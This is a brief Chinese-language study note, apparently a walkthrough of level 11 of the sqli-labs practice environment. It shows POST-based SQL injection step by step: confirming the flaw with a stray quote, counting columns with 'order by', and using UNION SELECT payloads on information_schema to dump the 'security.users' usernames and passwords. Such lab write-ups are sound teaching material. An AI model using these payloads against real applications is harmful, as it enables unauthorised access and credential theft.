知识点补充sql的基本查询语句
mysql
select schema_name from information_schema.schemata;
select table_name from information_schema.tables where table_schema='security';
select column_name from information_schema.columns where table_name='users';
select username,password from security.users;
less11
提交发现url 栏没有显示 这说明使用的时没有用get传参,而是使用了post传参
输入admin’时报错,说明存在注入漏洞
' order by 2# //无回显
' order by 3# //报错
使用联合查询测试回显
n' union select 1,2#
查询发现错误
n' union select 1,2,3#
然后开始爆数据库
a' union select 1,database()#
n' union select 1, schema_name from information_schema.schemata#
n' union select 1, group_concat(schema_name) from information_schema.schemata#
查所有的库名
查表名
n' union select 1, group_concat(table_name) from information_schema.tables where table_schema='security'#
直接翻译好了哈哈
select column_name from information_schema.columns where table_name=‘users’;
select username,password from security.users;
查列
n' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#
n' union select 1, group_concat(username,password) from security.users#
查这个用户的密码和登录名
一次性查询所有的数据
n' union select 1, group_concat(concat_ws(0x7e,username,password)) from security.users#
less11 总结
concat_ws(’~’,A,B)**一次性查询所有的数据
**
第一关使用的是 get
第十一关使用post